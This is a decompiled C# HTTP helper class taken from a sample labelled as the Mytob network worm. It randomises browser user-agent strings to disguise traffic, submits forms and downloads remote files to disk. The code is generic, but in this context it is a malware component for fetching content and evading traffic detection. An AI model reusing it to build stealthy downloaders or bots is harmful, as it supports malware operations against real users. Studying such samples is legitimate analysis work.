// Decompiled with JetBrains decompiler
// Type: HTTPAgent.Agent
// Assembly: WolfFt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 510BEE3B-1B9B-4B2D-9942-86D11904E770
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Net-Worm.Win32.Mytob.lnt-bef6a2117211c906156a30c3f707a4cf4d485846cbcd1b241053651b23028a95.exe

using System;
using System.Collections.Specialized;
using System.IO;
using System.Net;
using System.Text;
using System.Web;

namespace HTTPAgent
{
  public class Agent
  {
    public CookieContainer cookieJar = new CookieContainer();
    private static string[] accepts = new string[4]
    {
      ",text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
      ",text/html,text/plain,image/png,*/*",
      ",text/html;q=0.8,text/plain;q=0.6,image/png,image/jpg,image/gif,*/*;q=0.4",
      ",text/html,text/plain,image/*,*/*"
    };
    private static string[] userAgentsIE = new string[6]
    {
      "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; FDM; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 1.1.4322)",
      "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0)",
      "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0)",
      "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20402; MS-RTC LM 8)",
      "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; MS-RTC LM 8; Zune 4.0)",
      "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)"
    };
    private static string[] userAgentsFF = new string[6]
    {
      "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.0.4506.2152; .NET4.0C)",
      "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 BTRS86393 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C)",
      "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729)",
      "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C)",
      "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)",
      "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729)"
    };
    private string _lastResponseText;
    private HttpWebResponse _lastResponse;
    private string _accept;
    private string _userAgent;
    private string _referer;
    private bool _handleReferer;
    private string _acceptLanguage;
    private string _acceptEncoding;
    private string _acceptCharset;

    public void EmulateBrowser()
    {
      Random random = new Random();
      this.Accept = "text/xml,application/xml,application/xhtml+xml" + Agent.accepts[random.Next(Agent.accepts.Length)];
      this.AcceptLanguage = "en";
      this.UserAgent = random.Next(100) >= 60 ? Agent.userAgentsIE[random.Next(Agent.userAgentsIE.Length)] : Agent.userAgentsFF[random.Next(Agent.userAgentsFF.Length)];
      this.HandleReferer = true;
    }

    public string postURL(string URL, NameValueCollection formValues)
    {
      HttpWebRequest request = (HttpWebRequest) WebRequest.Create(URL);
      this.SetupRequest(request, "POST");
      request.ContentType = "application/x-www-form-urlencoded";
      StreamWriter streamWriter = new StreamWriter(request.GetRequestStream());
      if (formValues != null)
      {
        foreach (string allKey in formValues.AllKeys)
        {
          streamWriter.Write("&" + allKey + "=");
          streamWriter.Write(HttpUtility.UrlEncode(formValues[allKey]));
        }
      }
      streamWriter.Close();
      this.HandleResponse(request);
      if (this.HandleReferer)
        this.Referer = this._lastResponse.ResponseUri.ToString();
      return this._lastResponseText;
    }

    public string GetURL(string URL)
    {
      HttpWebRequest request = (HttpWebRequest) WebRequest.Create(URL);
      this.SetupRequest(request, "GET");
      this.HandleResponse(request);
      if (this.HandleReferer)
        this.Referer = this._lastResponse.ResponseUri.ToString();
      return this._lastResponseText;
    }

    public string GetURL(string URL, NameValueCollection formValues)
    {
      string str1 = "";
      if (formValues != null)
      {
        foreach (string allKey in formValues.AllKeys)
          str1 = str1 + "&" + allKey + "=" + HttpUtility.UrlEncode(formValues[allKey]);
      }
      string str2 = str1.Substring(1);
      HttpWebRequest request = (HttpWebRequest) WebRequest.Create(URL + "?" + str2);
      this.SetupRequest(request, "GET");
      this.HandleResponse(request);
      if (this.HandleReferer)
        this.Referer = this._lastResponse.ResponseUri.ToString();
      return this._lastResponseText;
    }

    public void getURL2File(string url, string dateiname)
    {
      HttpWebRequest request = (HttpWebRequest) WebRequest.Create(url);
      this.SetupRequest(request, "GET");
      this._lastResponse = (HttpWebResponse) request.GetResponse();
      Stream responseStream = this._lastResponse.GetResponseStream();
      if (dateiname.IndexOf("\\") != -1)
      {
        string path = dateiname.Substring(0, dateiname.LastIndexOf("\\"));
        if (!Directory.Exists(path))
          Directory.CreateDirectory(path);
      }
      FileStream fileStream = new FileStream(dateiname, FileMode.Create);
      byte[] buffer = new byte[1024];
      while (true)
      {
        int count = responseStream.Read(buffer, 0, buffer.Length);
        if (count != 0)
          fileStream.Write(buffer, 0, count);
        else
          break;
      }
      responseStream.Close();
      this._lastResponse.Close();
      fileStream.Close();
    }

    private void HandleResponse(HttpWebRequest request)
    {
      this._lastResponse = (HttpWebResponse) request.GetResponse();
      StreamReader streamReader = new StreamReader(this._lastResponse.GetResponseStream(), Encoding.UTF8);
      this._lastResponseText = streamReader.ReadToEnd();
      streamReader.Close();
      this._lastResponse.Close();
    }

    private void SetupRequest(HttpWebRequest request, string method)
    {
      request.Method = method;
      request.CookieContainer = this.cookieJar;
      request.Accept = this._accept;
      request.UserAgent = this._userAgent;
      request.Referer = this._referer;
      if (this._acceptCharset != null)
        request.Headers.Add("Accept-Charset", this._acceptCharset);
      if (this._acceptEncoding != null)
        request.Headers.Add("Accept-Encoding", this._acceptEncoding);
      if (this._acceptLanguage == null)
        return;
      request.Headers.Add("Accept-Language", this._acceptLanguage);
    }

    public string LastResponseText => this._lastResponseText;

    public HttpWebResponse LastResponse => this._lastResponse;

    public string Accept
    {
      get => this._accept;
      set => this._accept = value;
    }

    public string UserAgent
    {
      get => this._userAgent;
      set => this._userAgent = value;
    }

    public string Referer
    {
      get => this._referer;
      set => this._referer = value;
    }

    public bool HandleReferer
    {
      get => this._handleReferer;
      set => this._handleReferer = value;
    }

    public string AcceptLanguage
    {
      get => this._acceptLanguage;
      set => this._acceptLanguage = value;
    }

    public string AcceptEncoding
    {
      get => this._acceptEncoding;
      set => this._acceptEncoding = value;
    }

    public string AcceptCharset
    {
      get => this._acceptCharset;
      set => this._acceptCharset = value;
    }

    public static string UrlEncode(string str) => HttpUtility.UrlEncode(str);

    public static string UrlDecode(string str) => HttpUtility.UrlDecode(str);

    public static string HtmlEncode(string str) => HttpUtility.HtmlEncode(str);

    public static string HtmlDecode(string str) => HttpUtility.HtmlDecode(str);
  }
}
